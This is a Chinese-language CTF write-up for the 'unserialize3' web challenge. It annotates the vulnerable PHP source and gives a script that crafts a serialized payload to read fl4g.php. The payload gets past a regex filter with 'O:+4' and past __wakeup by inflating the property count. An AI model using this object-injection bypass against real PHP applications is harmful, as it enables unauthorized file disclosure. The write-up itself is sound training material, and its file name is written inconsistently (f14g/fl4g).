攻防世界Web进阶区unserialize3题解

<?php 
class Demo { 
    private $file = 'index.php';
    //构造函数,在变量创建时自动调用,__意为魔术方法,在符合条件时会自动调用
    public function __construct($file) { 
        $this->file = $file; 
        //“->”在PHP中相当于Python的“.”,用于调用对象的方法
    }
    //析构函数,在变量销毁时自动调用
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
        //打印file中的内容,将文件显示给读者
/* highlight_file(filename,return) 函数对文件进行语法高亮显示,如果 return 参数被设置为true,那么该函数会返回被高亮处理的代码,而不是输出它们。 
整段代码的意思就是当文件销毁时会输出$file的代码。at符号(@)在PHP中用作错误控制操作符。当表达式附加@符号时,将忽略该表达式可能生成的错误消息。*/

    //在反序列化时会自动调用
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
        //将文件名一律变为“index.php”
    } 
}
if (isset($_GET['var'])) { 
    /*判断变量var是否被创建,检测变量是否已设置并且非NULL,这段代码就是检测是否传递了get请求的var变量*/
    $var = base64_decode($_GET['var']); 
    //将var解base64编码
    if (preg_match('/[oc]:\d+:/i', $var)) { 
    //匹配var中是否有字符串
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
        //反序列化var,此时会调用wakeup函数
    } 

} else { 
    highlight_file("index.php"); 
    //显示高亮index.php,这不是我们想要的结果
} 
?>

题目源码中告诉我们flag在f14g.php中,所以我们想要进入这个文件,那么payload需要满足:
1、不含有preg_match中过滤的字符串或者直接绕过preg_match函数
2、反序列化时绕过wakeup函数
所以我们用序列化的方式构造一个var传入,让变量的value等于f14g.php,那么变量销毁时就会通过析构函数显示f14g.php

构造payload代码:

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            $this->file = 'index.php'; 
        } 
    } 
}
$payload = new Demo('fl4g.php');//创建对象Demo,其file值为f14g.php
$payload = serialize($payload);//序列化操作
$payload = str_replace('O:4', 'O:+4',$payload);
//将其中的“0:4”换成“0:+4”从而绕过正则
$payload = str_replace(':1:', ':2:' ,$payload); 
//将序列化中对象个数“1”改为“2”,从而绕过wakeup函数(序列化中记录对象个数的值比对象真正个数大即可绕过wakeup)
//序列化中不可打印的空白等价于%00,到时候需要在payload中加上
echo base64_encode($payload); //对参数进行 base64 编码并打印出来
?>

猜你喜欢

转载自blog.csdn.net/B_cecretary/article/details/125473920